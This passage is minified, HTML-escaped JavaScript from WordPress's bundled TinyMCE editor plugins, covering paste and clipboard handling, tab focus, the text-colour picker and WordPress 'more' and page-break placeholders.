e,f,d=(e=p(st.none()),{clear:function(){e.set(st.none())},set:function(t){e.set(st.some(t))},isSet:function(){return e.get().isSome()},on:function(t){e.get().each(t)}});function m(t,e,n,r){var o,i;kt(t,&quot;text/html&quot;)?o=t[&quot;text/html&quot;]:(o=c.getHtml(),r=r||w(o),c.isDefaultContent(o)&amp;&amp;(n=!0)),o=O.trimHtml(o),c.remove(),i=!1===r&amp;&amp;D(o),o.length&amp;&amp;!i||(n=!0),n&amp;&amp;(o=kt(t,&quot;text/plain&quot;)&amp;&amp;i?t[&quot;text/plain&quot;]:O.innerText(o)),c.isDefaultContent(o)?e||s.windowManager.alert(&quot;Please use Ctrl+V/Cmd+V keyboard shortcuts to paste contents.&quot;):n?Dt(s,o):Tt(s,o,r)}s.on(&quot;keydown&quot;,function(t){function e(t){It(t)&amp;&amp;!t.isDefaultPrevented()&amp;&amp;c.remove()}if(It(t)&amp;&amp;!t.isDefaultPrevented()){if((f=t.shiftKey&amp;&amp;86===t.keyCode)&amp;&amp;h.webkit&amp;&amp;-1!==v.navigator.userAgent.indexOf(&quot;Version/&quot;))return;if(t.stopImmediatePropagation(),d.set(t),window.setTimeout(function(){d.clear()},100),h.ie&amp;&amp;f)return t.preventDefault(),void n(s,!0);c.remove(),c.create(),s.once(&quot;keyup&quot;,e),s.once(&quot;paste&quot;,function(){s.off(&quot;keyup&quot;,e)})}}),s.on(&quot;paste&quot;,function(t){var e,n,r,o=d.isSet(),i=(e=s,n=Ct(t.clipboardData||e.getDoc().dataTransfer),O.isMsEdge()?b.extend(n,{&quot;text/html&quot;:&quot;&quot;}):n),a=&quot;text&quot;===l.get()||f,u=kt(i,x());f=!1,t.isDefaultPrevented()||(r=t.clipboardData,-1!==v.navigator.userAgent.indexOf(&quot;Android&quot;)&amp;&amp;r&amp;&amp;r.items&amp;&amp;0===r.items.length)?c.remove():Ft(i)||!Rt(s,t,c.getLastRng()||s.selection.getRng())?(o||t.preventDefault(),!h.ie||o&amp;&amp;!t.ieFake||kt(i,&quot;text/html&quot;)||(c.create(),s.dom.bind(c.getEl(),&quot;paste&quot;,function(t){t.stopPropagation()}),s.getDoc().execCommand(&quot;Paste&quot;,!1,null),i[&quot;text/html&quot;]=c.getHtml()),kt(i,&quot;text/html&quot;)?(t.preventDefault(),u||(u=w(i[&quot;text/html&quot;])),m(i,o,a,u)):y.setEditorTimeout(s,function(){m(i,o,a,u)},0)):c.remove()})},St=function(t){return h.ie&amp;&amp;t.inline?v.document.body:t.getBody()},At=function(e,t,n){var r;St(r=e)!==r.getBody()&amp;&amp;e.dom.bind(t,&quot;paste keyup&quot;,function(t){Lt(e,n)||e.fire(&quot;paste&quot;)})},jt=function(t){return t.dom.get(&quot;mcepastebin&quot;)},Mt=function(t,e){return e===t},Lt=function(t,e){var n,r=jt(t);return(n=r)&amp;&amp;&quot;mcepastebin&quot;===n.id&amp;&amp;Mt(e,r.innerHTML)},Nt=function(a){var u=p(null),s=&quot;%MCEPASTEBIN%&quot;;return{create:function(){return e=u,n=s,o=(t=a).dom,i=t.getBody(),e.set(t.selection.getRng()),r=t.dom.add(St(t),&quot;div&quot;,{id:&quot;mcepastebin&quot;,&quot;class&quot;:&quot;mce-pastebin&quot;,contentEditable:!0,&quot;data-mce-bogus&quot;:&quot;all&quot;,style:&quot;position: fixed; top: 50%; width: 10px; height: 10px; overflow: hidden; opacity: 0&quot;},n),(h.ie||h.gecko)&amp;&amp;o.setStyle(r,&quot;left&quot;,&quot;rtl&quot;===o.getStyle(i,&quot;direction&quot;,!0)?65535:-65535),o.bind(r,&quot;beforedeactivate focusin focusout&quot;,function(t){t.stopPropagation()}),At(t,r,n),r.focus(),void t.selection.select(r,!0);var t,e,n,r,o,i},remove:function(){return function(t,e){if(jt(t)){for(var n=void 0,r=e.get();n=t.dom.get(&quot;mcepastebin&quot;);)t.dom.remove(n),t.dom.unbind(n);r&amp;&amp;t.selection.setRng(r)}e.set(null)}(a,u)},getEl:function(){return jt(a)},getHtml:function(){return function(n){var e,t,r,o,i,a=function(t,e){t.appendChild(e),n.dom.remove(e,!0)};for(t=b.grep(St(n).childNodes,function(t){return&quot;mcepastebin&quot;===t.id}),e=t.shift(),b.each(t,function(t){a(e,t)}),r=(o=n.dom.select(&quot;div[id=mcepastebin]&quot;,e)).length-1;0&lt;=r;r--)i=n.dom.create(&quot;div&quot;),e.insertBefore(i,o[r]),a(i,o[r]);return e?e.innerHTML:&quot;&quot;}(a)},getLastRng:function(){return u.get()},isDefault:function(){return Lt(a,s)},isDefaultContent:function(t){return Mt(s,t)}}},Bt=function(n,t){var e=Nt(n);return n.on(&quot;preInit&quot;,function(){return Ot(a=n,e,t),void a.parser.addNodeFilter(&quot;img&quot;,function(t,e,n){var r,o=function(t){t.attr(&quot;data-mce-object&quot;)||u===h.transparentSrc||t.remove()};if(!a.settings.paste_data_images&amp;&amp;(r=n).data&amp;&amp;!0===r.data.paste)for(var i=t.length;i--;)(u=t[i].attributes.map.src)&amp;&amp;(0===u.indexOf(&quot;webkit-fake-url&quot;)?o(t[i]):a.settings.allow_html_data_urls||0!==u.indexOf(&quot;data:&quot;)||o(t[i]))});var a,u}),{pasteFormat:t,pasteHtml:function(t,e){return Tt(n,t,e)},pasteText:function(t){return Dt(n,t)},pasteImageData:function(t,e){return Rt(n,t,e)},getDataTransferItems:Ct,hasHtmlOrText:Ft,hasContentType:kt}},Ht=function(){},$t=function(t,e,n){if(r=t,!1!==h.iOS||r===undefined||&quot;function&quot;!=typeof r.setData||!0===O.isMsEdge())return!1;try{return t.clearData(),t.setData(&quot;text/html&quot;,e),t.setData(&quot;text/plain&quot;,n),t.setData(x(),e),!0}catch(o){return!1}var r},Wt=function(t,e,n,r){$t(t.clipboardData,e.html,e.text)?(t.preventDefault(),r()):n(e.html,r)},Ut=function(u){return function(t,e){var n=l(t),r=u.dom.create(&quot;div&quot;,{contenteditable:&quot;false&quot;,&quot;data-mce-bogus&quot;:&quot;all&quot;}),o=u.dom.create(&quot;div&quot;,{contenteditable:&quot;true&quot;},n);u.dom.setStyles(r,{position:&quot;fixed&quot;,top:&quot;0&quot;,left:&quot;-3000px&quot;,width:&quot;1000px&quot;,overflow:&quot;hidden&quot;}),r.appendChild(o),u.dom.add(u.getBody(),r);var i=u.selection.getRng();o.focus();var a=u.dom.createRng();a.selectNodeContents(o),u.selection.setRng(a),setTimeout(function(){u.selection.setRng(i),r.parentNode.removeChild(r),e()},0)}},zt=function(t){return{html:t.selection.getContent({contextual:!0}),text:t.selection.getContent({format:&quot;text&quot;})}},Vt=function(t){return!t.selection.isCollapsed()||!!(e=t).dom.getParent(e.selection.getStart(),&quot;td[data-mce-selected],th[data-mce-selected]&quot;,e.getBody());var e},Kt=function(t){var e,n;t.on(&quot;cut&quot;,(e=t,function(t){Vt(e)&amp;&amp;Wt(t,zt(e),Ut(e),function(){setTimeout(function(){e.execCommand(&quot;Delete&quot;)},0)})})),t.on(&quot;copy&quot;,(n=t,function(t){Vt(n)&amp;&amp;Wt(t,zt(n),Ut(n),Ht)}))},qt=tinymce.util.Tools.resolve(&quot;tinymce.dom.RangeUtils&quot;),Gt=function(t,e){return qt.getCaretRangeFromPoint(e.clientX,e.clientY,t.getDoc())},Xt=function(t,e){t.focus(),t.selection.setRng(e)},Yt=function(a,u,s){g.shouldBlockDrop(a)&amp;&amp;a.on(&quot;dragend dragover draggesture dragdrop drop drag&quot;,function(t){t.preventDefault(),t.stopPropagation()}),g.shouldPasteDataImages(a)||a.on(&quot;drop&quot;,function(t){var e=t.dataTransfer;e&amp;&amp;e.files&amp;&amp;0&lt;e.files.length&amp;&amp;t.preventDefault()}),a.on(&quot;drop&quot;,function(t){var e,n;if(n=Gt(a,t),!t.isDefaultPrevented()&amp;&amp;!s.get()){e=u.getDataTransferItems(t.dataTransfer);var r,o=u.hasContentType(e,x());if((u.hasHtmlOrText(e)&amp;&amp;(!(r=e[&quot;text/plain&quot;])||0!==r.indexOf(&quot;file://&quot;))||!u.pasteImageData(t,n))&amp;&amp;n&amp;&amp;g.shouldFilterDrop(a)){var i=e[&quot;mce-internal&quot;]||e[&quot;text/html&quot;]||e[&quot;text/plain&quot;];i&amp;&amp;(t.preventDefault(),y.setEditorTimeout(a,function(){a.undoManager.transact(function(){e[&quot;mce-internal&quot;]&amp;&amp;a.execCommand(&quot;Delete&quot;),Xt(a,n),i=O.trimHtml(i),e[&quot;text/html&quot;]?u.pasteHtml(i,o):u.pasteText(i)})}))}}}),a.on(&quot;dragstart&quot;,function(t){s.set(!0)}),a.on(&quot;dragover dragend&quot;,function(t){g.shouldPasteDataImages(a)&amp;&amp;!1===s.get()&amp;&amp;(t.preventDefault(),Xt(a,Gt(a,t))),&quot;dragend&quot;===t.type&amp;&amp;s.set(!1)})},Zt=function(t){var e=t.plugins.paste,n=g.getPreProcess(t);n&amp;&amp;t.on(&quot;PastePreProcess&quot;,function(t){n.call(e,e,t)});var r=g.getPostProcess(t);r&amp;&amp;t.on(&quot;PastePostProcess&quot;,function(t){r.call(e,e,t)})};function Jt(e,n){e.on(&quot;PastePreProcess&quot;,function(t){t.content=n(e,t.content,t.internal,t.wordContent)})}function Qt(t,e){if(!V.isWordContent(e))return e;var n=[];b.each(t.schema.getBlockElements(),function(t,e){n.push(e)});var r=new RegExp(&quot;(?:&lt;br&gt;&amp;nbsp;[\\s\\r\\n]+|&lt;br&gt;)*(&lt;\\/?(&quot;+n.join(&quot;|&quot;)+&quot;)[^&gt;]*&gt;)(?:&lt;br&gt;&amp;nbsp;[\\s\\r\\n]+|&lt;br&gt;)*&quot;,&quot;g&quot;);return e=O.filter(e,[[r,&quot;$1&quot;]]),e=O.filter(e,[[/&lt;br&gt;&lt;br&gt;/g,&quot;&lt;BR&gt;&lt;BR&gt;&quot;],[/&lt;br&gt;/g,&quot; &quot;],[/&lt;BR&gt;&lt;BR&gt;/g,&quot;&lt;br&gt;&quot;]])}function te(t,e,n,r){if(r||n)return e;var c,o=g.getWebkitStyles(t);if(!1===g.shouldRemoveWebKitStyles(t)||&quot;all&quot;===o)return e;if(o&amp;&amp;(c=o.split(/[, ]/)),c){var l=t.dom,f=t.selection.getNode();e=e.replace(/(&lt;[^&gt;]+) style=&quot;([^&quot;]*)&quot;([^&gt;]*&gt;)/gi,function(t,e,n,r){var o=l.parseStyle(l.decode(n)),i={};if(&quot;none&quot;===c)return e+r;for(var a=0;a&lt;c.length;a++){var u=o[c[a]],s=l.getStyle(f,c[a],!0);/color/.test(c[a])&amp;&amp;(u=l.toHex(u),s=l.toHex(s)),s!==u&amp;&amp;(i[c[a]]=u)}return(i=l.serializeStyle(i,&quot;span&quot;))?e+&#039; style=&quot;&#039;+i+&#039;&quot;&#039;+r:e+r})}else e=e.replace(/(&lt;[^&gt;]+) style=&quot;([^&quot;]*)&quot;([^&gt;]*&gt;)/gi,&quot;$1$3&quot;);return e=e.replace(/(&lt;[^&gt;]+) data-mce-style=&quot;([^&quot;]+)&quot;([^&gt;]*&gt;)/gi,function(t,e,n,r){return e+&#039; style=&quot;&#039;+n+&#039;&quot;&#039;+r})}function ee(n,t){n.$(&quot;a&quot;,t).find(&quot;font,u&quot;).each(function(t,e){n.dom.remove(e,!0)})}var ne=function(t){var e,n;h.webkit&amp;&amp;Jt(t,te),h.ie&amp;&amp;(Jt(t,Qt),n=ee,(e=t).on(&quot;PastePostProcess&quot;,function(t){n(e,t.node)}))},re=function(t,e,n){var r=n.control;r.active(&quot;text&quot;===e.pasteFormat.get()),t.on(&quot;PastePlainTextToggle&quot;,function(t){r.active(t.state)})},oe=function(t,e){var n=function(r){for(var o=[],t=1;t&lt;arguments.length;t++)o[t-1]=arguments[t];return function(){for(var t=[],e=0;e&lt;arguments.length;e++)t[e]=arguments[e];var n=o.concat(t);return r.apply(null,n)}}(re,t,e);t.addButton(&quot;pastetext&quot;,{active:!1,icon:&quot;pastetext&quot;,tooltip:&quot;Paste as text&quot;,cmd:&quot;mceTogglePlainTextPaste&quot;,onPostRender:n}),t.addMenuItem(&quot;pastetext&quot;,{text:&quot;Paste as text&quot;,selectable:!0,active:e.pasteFormat,cmd:&quot;mceTogglePlainTextPaste&quot;,onPostRender:n})};e.add(&quot;paste&quot;,function(t){if(!1===a(t)){var e=p(!1),n=p(!1),r=p(g.isPasteAsTextEnabled(t)?&quot;text&quot;:&quot;html&quot;),o=Bt(t,r),i=ne(t);return oe(t,o),c(t,o,e),Zt(t),Kt(t),Yt(t,o,n),u(o,i)}})}(window);
// Source: wp-includes/js/tinymce/plugins/tabfocus/plugin.min.js
!function(c){&quot;use strict&quot;;var e=tinymce.util.Tools.resolve(&quot;tinymce.PluginManager&quot;),t=tinymce.util.Tools.resolve(&quot;tinymce.dom.DOMUtils&quot;),s=tinymce.util.Tools.resolve(&quot;tinymce.EditorManager&quot;),a=tinymce.util.Tools.resolve(&quot;tinymce.Env&quot;),y=tinymce.util.Tools.resolve(&quot;tinymce.util.Delay&quot;),f=tinymce.util.Tools.resolve(&quot;tinymce.util.Tools&quot;),d=tinymce.util.Tools.resolve(&quot;tinymce.util.VK&quot;),m=function(e){return e.getParam(&quot;tab_focus&quot;,e.getParam(&quot;tabfocus_elements&quot;,&quot;:prev,:next&quot;))},v=t.DOM,n=function(e){e.keyCode!==d.TAB||e.ctrlKey||e.altKey||e.metaKey||e.preventDefault()},i=function(r){function e(n){var i,o,e,l;if(!(n.keyCode!==d.TAB||n.ctrlKey||n.altKey||n.metaKey||n.isDefaultPrevented())&amp;&amp;(1===(e=f.explode(m(r))).length&amp;&amp;(e[1]=e[0],e[0]=&quot;:prev&quot;),o=n.shiftKey?&quot;:prev&quot;===e[0]?u(-1):v.get(e[0]):&quot;:next&quot;===e[1]?u(1):v.get(e[1]))){var t=s.get(o.id||o.name);o.id&amp;&amp;t?t.focus():y.setTimeout(function(){a.webkit||c.window.focus(),o.focus()},10),n.preventDefault()}function u(e){function t(t){return/INPUT|TEXTAREA|BUTTON/.test(t.tagName)&amp;&amp;s.get(n.id)&amp;&amp;-1!==t.tabIndex&amp;&amp;function e(t){return&quot;BODY&quot;===t.nodeName||&quot;hidden&quot;!==t.type&amp;&amp;&quot;none&quot;!==t.style.display&amp;&amp;&quot;hidden&quot;!==t.style.visibility&amp;&amp;e(t.parentNode)}(t)}if(o=v.select(&quot;:input:enabled,*[tabindex]:not(iframe)&quot;),f.each(o,function(e,t){if(e.id===r.id)return i=t,!1}),0&lt;e){for(l=i+1;l&lt;o.length;l++)if(t(o[l]))return o[l]}else for(l=i-1;0&lt;=l;l--)if(t(o[l]))return o[l];return null}}r.on(&quot;init&quot;,function(){r.inline&amp;&amp;v.setAttrib(r.getBody(),&quot;tabIndex&quot;,null),r.on(&quot;keyup&quot;,n),a.gecko?r.on(&quot;keypress keydown&quot;,e):r.on(&quot;keydown&quot;,e)})};e.add(&quot;tabfocus&quot;,function(e){i(e)})}(window);
// Source: wp-includes/js/tinymce/plugins/textcolor/plugin.min.js
!function(){&quot;use strict&quot;;var t=tinymce.util.Tools.resolve(&quot;tinymce.PluginManager&quot;),n=function(t,o){var r;return t.dom.getParents(t.selection.getStart(),function(t){var e;(e=t.style[&quot;forecolor&quot;===o?&quot;color&quot;:&quot;background-color&quot;])&amp;&amp;(r=r||e)}),r},g=function(t){var e,o=[];for(e=0;e&lt;t.length;e+=2)o.push({text:t[e+1],color:&quot;#&quot;+t[e]});return o},r=function(t,e,o){t.undoManager.transact(function(){t.focus(),t.formatter.apply(e,{value:o}),t.nodeChanged()})},e=function(t,e){t.undoManager.transact(function(){t.focus(),t.formatter.remove(e,{value:null},null,!0),t.nodeChanged()})},o=function(o){o.addCommand(&quot;mceApplyTextcolor&quot;,function(t,e){r(o,t,e)}),o.addCommand(&quot;mceRemoveTextcolor&quot;,function(t){e(o,t)})},F=tinymce.util.Tools.resolve(&quot;tinymce.dom.DOMUtils&quot;),i=tinymce.util.Tools.resolve(&quot;tinymce.util.Tools&quot;),a=[&quot;000000&quot;,&quot;Black&quot;,&quot;993300&quot;,&quot;Burnt orange&quot;,&quot;333300&quot;,&quot;Dark olive&quot;,&quot;003300&quot;,&quot;Dark green&quot;,&quot;003366&quot;,&quot;Dark azure&quot;,&quot;000080&quot;,&quot;Navy Blue&quot;,&quot;333399&quot;,&quot;Indigo&quot;,&quot;333333&quot;,&quot;Very dark gray&quot;,&quot;800000&quot;,&quot;Maroon&quot;,&quot;FF6600&quot;,&quot;Orange&quot;,&quot;808000&quot;,&quot;Olive&quot;,&quot;008000&quot;,&quot;Green&quot;,&quot;008080&quot;,&quot;Teal&quot;,&quot;0000FF&quot;,&quot;Blue&quot;,&quot;666699&quot;,&quot;Grayish blue&quot;,&quot;808080&quot;,&quot;Gray&quot;,&quot;FF0000&quot;,&quot;Red&quot;,&quot;FF9900&quot;,&quot;Amber&quot;,&quot;99CC00&quot;,&quot;Yellow green&quot;,&quot;339966&quot;,&quot;Sea green&quot;,&quot;33CCCC&quot;,&quot;Turquoise&quot;,&quot;3366FF&quot;,&quot;Royal blue&quot;,&quot;800080&quot;,&quot;Purple&quot;,&quot;999999&quot;,&quot;Medium gray&quot;,&quot;FF00FF&quot;,&quot;Magenta&quot;,&quot;FFCC00&quot;,&quot;Gold&quot;,&quot;FFFF00&quot;,&quot;Yellow&quot;,&quot;00FF00&quot;,&quot;Lime&quot;,&quot;00FFFF&quot;,&quot;Aqua&quot;,&quot;00CCFF&quot;,&quot;Sky blue&quot;,&quot;993366&quot;,&quot;Red violet&quot;,&quot;FFFFFF&quot;,&quot;White&quot;,&quot;FF99CC&quot;,&quot;Pink&quot;,&quot;FFCC99&quot;,&quot;Peach&quot;,&quot;FFFF99&quot;,&quot;Light yellow&quot;,&quot;CCFFCC&quot;,&quot;Pale green&quot;,&quot;CCFFFF&quot;,&quot;Pale cyan&quot;,&quot;99CCFF&quot;,&quot;Light sky blue&quot;,&quot;CC99FF&quot;,&quot;Plum&quot;],l=function(t){return t.getParam(&quot;textcolor_map&quot;,a)},c=function(t){return t.getParam(&quot;textcolor_rows&quot;,5)},u=function(t){return t.getParam(&quot;textcolor_cols&quot;,8)},m=function(t){return t.getParam(&quot;color_picker_callback&quot;,null)},s=function(t){return t.getParam(&quot;forecolor_map&quot;,l(t))},d=function(t){return t.getParam(&quot;backcolor_map&quot;,l(t))},f=function(t){return t.getParam(&quot;forecolor_rows&quot;,c(t))},b=function(t){return t.getParam(&quot;backcolor_rows&quot;,c(t))},p=function(t){return t.getParam(&quot;forecolor_cols&quot;,u(t))},C=function(t){return t.getParam(&quot;backcolor_cols&quot;,u(t))},y=m,v=function(t){return&quot;function&quot;==typeof m(t)},h=tinymce.util.Tools.resolve(&quot;tinymce.util.I18n&quot;),P=function(t,e,o,r){var n,a,l,c,i,u,m,s=0,d=F.DOM.uniqueId(&quot;mcearia&quot;),f=function(t,e){var o=&quot;transparent&quot;===t;return&#039;&lt;td class=&quot;mce-grid-cell&#039;+(o?&quot; mce-colorbtn-trans&quot;:&quot;&quot;)+&#039;&quot;&gt;&lt;div id=&quot;&#039;+d+&quot;-&quot;+s+++&#039;&quot; data-mce-color=&quot;&#039;+(t||&quot;&quot;)+&#039;&quot; role=&quot;option&quot; tabIndex=&quot;-1&quot; style=&quot;&#039;+(t?&quot;background-color: &quot;+t:&quot;&quot;)+&#039;&quot; title=&quot;&#039;+h.translate(e)+&#039;&quot;&gt;&#039;+(o?&quot;&amp;#215;&quot;:&quot;&quot;)+&quot;&lt;/div&gt;&lt;/td&gt;&quot;};for((n=g(o)).push({text:h.translate(&quot;No color&quot;),color:&quot;transparent&quot;}),l=&#039;&lt;table class=&quot;mce-grid mce-grid-border mce-colorbutton-grid&quot; role=&quot;list&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;&#039;,c=n.length-1,u=0;u&lt;e;u++){for(l+=&quot;&lt;tr&gt;&quot;,i=0;i&lt;t;i++)l+=c&lt;(m=u*t+i)?&quot;&lt;td&gt;&lt;/td&gt;&quot;:f((a=n[m]).color,a.text);l+=&quot;&lt;/tr&gt;&quot;}if(r){for(l+=&#039;&lt;tr&gt;&lt;td colspan=&quot;&#039;+t+&#039;&quot; class=&quot;mce-custom-color-btn&quot;&gt;&lt;div id=&quot;&#039;+d+&#039;-c&quot; class=&quot;mce-widget mce-btn mce-btn-small mce-btn-flat&quot; role=&quot;button&quot; tabindex=&quot;-1&quot; aria-labelledby=&quot;&#039;+d+&#039;-c&quot; style=&quot;width: 100%&quot;&gt;&lt;button type=&quot;button&quot; role=&quot;presentation&quot; tabindex=&quot;-1&quot;&gt;&#039;+h.translate(&quot;Custom...&quot;)+&quot;&lt;/button&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&quot;,l+=&quot;&lt;tr&gt;&quot;,i=0;i&lt;t;i++)l+=f(&quot;&quot;,&quot;Custom color&quot;);l+=&quot;&lt;/tr&gt;&quot;}return l+=&quot;&lt;/tbody&gt;&lt;/table&gt;&quot;},k=function(t,e){t.style.background=e,t.setAttribute(&quot;data-mce-color&quot;,e)},x=function(o){return function(t){var e=t.control;e._color?o.execCommand(&quot;mceApplyTextcolor&quot;,e.settings.format,e._color):o.execCommand(&quot;mceRemoveTextcolor&quot;,e.settings.format)}},T=function(r,c){return function(t){var e,a=this.parent(),o=n(r,a.settings.format),l=function(t){r.execCommand(&quot;mceApplyTextcolor&quot;,a.settings.format,t),a.hidePanel(),a.color(t)};F.DOM.getParent(t.target,&quot;.mce-custom-color-btn&quot;)&amp;&amp;(a.hidePanel(),y(r).call(r,function(t){var e,o,r,n=a.panel.getEl().getElementsByTagName(&quot;table&quot;)[0];for(e=i.map(n.rows[n.rows.length-1].childNodes,function(t){return t.firstChild}),r=0;r&lt;e.length&amp;&amp;(o=e[r]).getAttribute(&quot;data-mce-color&quot;);r++);if(r===c)for(r=0;r&lt;c-1;r++)k(e[r],e[r+1].getAttribute(&quot;data-mce-color&quot;));k(o,t),l(t)},o)),(e=t.target.getAttribute(&quot;data-mce-color&quot;))?(this.lastId&amp;&amp;F.DOM.get(this.lastId).setAttribute(&quot;aria-selected&quot;,&quot;false&quot;),t.target.setAttribute(&quot;aria-selected&quot;,!0),this.lastId=t.target.id,&quot;transparent&quot;===e?(r.execCommand(&quot;mceRemoveTextcolor&quot;,a.settings.format),a.hidePanel(),a.resetColor()):l(e)):null!==e&amp;&amp;a.hidePanel()}},_=function(n,a){return function(){var t=a?p(n):C(n),e=a?f(n):b(n),o=a?s(n):d(n),r=v(n);return P(t,e,o,r)}},A=function(t){t.addButton(&quot;forecolor&quot;,{type:&quot;colorbutton&quot;,tooltip:&quot;Text color&quot;,format:&quot;forecolor&quot;,panel:{role:&quot;application&quot;,ariaRemember:!0,html:_(t,!0),onclick:T(t,p(t))},onclick:x(t)}),t.addButton(&quot;backcolor&quot;,{type:&quot;colorbutton&quot;,tooltip:&quot;Background color&quot;,format:&quot;hilitecolor&quot;,panel:{role:&quot;application&quot;,ariaRemember:!0,html:_(t,!1),onclick:T(t,C(t))},onclick:x(t)})};t.add(&quot;textcolor&quot;,function(t){o(t),A(t)})}();
// Source: wp-includes/js/tinymce/plugins/wordpress/plugin.min.js
!function(k){(!k.ui.FloatPanel.zIndex||k.ui.FloatPanel.zIndex&lt;100100)&amp;&amp;(k.ui.FloatPanel.zIndex=100100),k.PluginManager.add(&quot;wordpress&quot;,function(p){var a,t,E=k.DOM,m=k.each,u=p.editorManager.i18n.translate,i=window.jQuery,o=window.wp,r=o&amp;&amp;o.editor&amp;&amp;o.editor.autop&amp;&amp;p.getParam(&quot;wpautop&quot;,!0),s=!1;function e(n){var e,t,o=0,i=k.$(&quot;.block-library-classic__toolbar&quot;);&quot;hide&quot;===n?e=!0:i.length&amp;&amp;!i.hasClass(&quot;has-advanced-toolbar&quot;)&amp;&amp;(i.addClass(&quot;has-advanced-toolbar&quot;),n=&quot;show&quot;),(t=p.theme.panel?p.theme.panel.find(&quot;.toolbar:not(.menubar)&quot;):t)&amp;&amp;1&lt;t.length&amp;&amp;(!n&amp;&amp;t[1].visible()&amp;&amp;(n=&quot;hide&quot;),m(t,function(e,t){0&lt;t&amp;&amp;(&quot;hide&quot;===n?(e.hide(),o+=34):(e.show(),o-=34))})),o&amp;&amp;!k.Env.iOS&amp;&amp;p.iframeElement&amp;&amp;p.iframeElement.clientHeight&amp;&amp;50&lt;(i=p.iframeElement.clientHeight+o)&amp;&amp;E.setStyle(p.iframeElement,&quot;height&quot;,i),e||(&quot;hide&quot;===n?(setUserSetting(&quot;hidetb&quot;,&quot;0&quot;),a&amp;&amp;a.active(!1)):(setUserSetting(&quot;hidetb&quot;,&quot;1&quot;),a&amp;&amp;a.active(!0))),p.fire(&quot;wp-toolbar-toggle&quot;)}function d(e){var t,o,i,n=p.translate(e);return s||(o=&quot;Shift+Alt+&quot;,i=&quot;Ctrl+&quot;,s={},k.Env.mac&amp;&amp;(o=&quot;\u2303\u2325&quot;,i=&quot;\u2318&quot;),p.settings.wp_shortcut_labels&amp;&amp;m(p.settings.wp_shortcut_labels,function(e,t){var n=p.translate(t);e=e.replace(&quot;access&quot;,o).replace(&quot;meta&quot;,i),s[t]=e,t!==n&amp;&amp;(s[n]=e)})),s.hasOwnProperty(n)?t=s[n]:s.hasOwnProperty(e)&amp;&amp;(t=s[e]),t?n+&quot; (&quot;+t+&quot;)&quot;:n}function n(){}return i&amp;&amp;i(document).triggerHandler(&quot;tinymce-editor-setup&quot;,[p]),p.addButton(&quot;wp_adv&quot;,{tooltip:&quot;Toolbar Toggle&quot;,cmd:&quot;WP_Adv&quot;,onPostRender:function(){(a=this).active(&quot;1&quot;===getUserSetting(&quot;hidetb&quot;))}}),p.on(&quot;PostRender&quot;,function(){p.getParam(&quot;wordpress_adv_hidden&quot;,!0)&amp;&amp;&quot;0&quot;===getUserSetting(&quot;hidetb&quot;,&quot;0&quot;)?e(&quot;hide&quot;):k.$(&quot;.block-library-classic__toolbar&quot;).addClass(&quot;has-advanced-toolbar&quot;)}),p.addCommand(&quot;WP_Adv&quot;,function(){e()}),p.on(&quot;focus&quot;,function(){window.wpActiveEditor=p.id}),p.on(&quot;BeforeSetContent&quot;,function(e){var n;e.content&amp;&amp;(-1!==e.content.indexOf(&quot;\x3c!--more&quot;)&amp;&amp;(n=u(&quot;Read more...&quot;),e.content=e.content.replace(/&lt;!--more(.*?)--&gt;/g,function(e,t){return&#039;&lt;img src=&quot;&#039;+k.Env.transparentSrc+&#039;&quot; data-wp-more=&quot;more&quot; data-wp-more-text=&quot;&#039;+t+&#039;&quot; class=&quot;wp-more-tag mce-wp-more&quot; alt=&quot;&#039;+n+&#039;&quot; data-mce-resize=&quot;false&quot; data-mce-placeholder=&quot;1&quot; /&gt;&#039;})),-1!==e.content.indexOf(&quot;\x3c!--nextpage--\x3e&quot;)&amp;&amp;(n=u(&quot;Page break&quot;),e.content=e.content.replace(/&lt;!--nextpage--&gt;/g,&#039;&lt;img src=&quot;&#039;+k.Env.transparentSrc+&#039;&quot; data-wp-more=&quot;nextpage&quot; class=&quot;wp-more-tag mce-wp-nextpage&quot; alt=&quot;&#039;+n+&#039;&quot; data-mce-resize=&quot;false&quot; data-mce-placeholder=&quot;1&quot; /&gt;&#039;)),e.load&amp;&amp;&quot;raw&quot;!==e.format&amp;&amp;(e.content=r?o.editor.autop(e.content):e.content.replace(/--&gt;\s+&lt;!--/g,&quot;--\x3e\x3c!--&quot;)),-1===e.content.indexOf(&quot;&lt;script&quot;)&amp;&amp;-1===e.content.indexOf(&quot;&lt;style&quot;)||(e.content=e.content.replace(/&lt;(script|style)[^&gt;]*&gt;[\s\S]*?&lt;\/\1&gt;/g,function(e,t){return&#039;&lt;img src=&quot;&#039;+k.Env.transparentSrc+&#039;&quot; data-wp-preserve=&quot;&#039;+encodeURIComponent(e)+&#039;&quot; data-mce-resize=&quot;false&quot; data-mce-placeholder=&quot;1&quot; class=&quot;mce-object mce-object-&#039;+t+&#039;&quot; width=&quot;20&quot; height=&quot;20&quot; alt=&quot;&amp;lt;&#039;+t+&#039;&amp;gt;&quot; /&gt;&#039;})))}),p.on(&quot;setcontent&quot;,function(){p.$(&quot;p&quot;).each(function(e,t){var n;t.innerHTML&amp;&amp;t.innerHTML.length&lt;10&amp;&amp;((n=k.trim(t.innerHTML))&amp;&amp;&quot;&amp;nbsp;&quot;!==n||(t.innerHTML=k.Env.ie&amp;&amp;k.Env.ie&lt;11?&quot;&quot;:&#039;&lt;br data-mce-bogus=&quot;1&quot;&gt;&#039;))})}),p.on(&quot;PostProcess&quot;,function(e){e.get&amp;&amp;(e.content=e.content.replace(/&lt;img[^&gt;]+&gt;/g,function(e){var t,n,o=&quot;&quot;;return-1!==e.indexOf(&#039;data-wp-more=&quot;more&quot;&#039;)?n=&quot;\x3c!--more&quot;+(o=(t=e.match(/data-wp-more-text=&quot;([^&quot;]+)&quot;/))?t[1]:o)+&quot;--\x3e&quot;:-1!==e.indexOf(&#039;data-wp-more=&quot;nextpage&quot;&#039;)?n=&quot;\x3c!--nextpage--\x3e&quot;:-1!==e.indexOf(&quot;data-wp-preserve&quot;)&amp;&amp;(t=e.match(/ data-wp-preserve=&quot;([^&quot;]+)&quot;/))&amp;&amp;(n=decodeURIComponent(t[1])),n||e}))}),p.on(&quot;ResolveName&quot;,function(e){var t;&quot;IMG&quot;===e.target.nodeName&amp;&amp;(t=p.dom.getAttrib(e.target,&quot;data-wp-more&quot;))&amp;&amp;(e.name=t)}),p.addCommand(&quot;WP_More&quot;,function(e){var t,n=&quot;wp-more-tag&quot;,o=p.dom,i=p.selection.getNode(),a=p.getBody();n+=&quot; mce-wp-&quot;+(e=e||&quot;more&quot;),t=u(&quot;more&quot;===e?&quot;Read 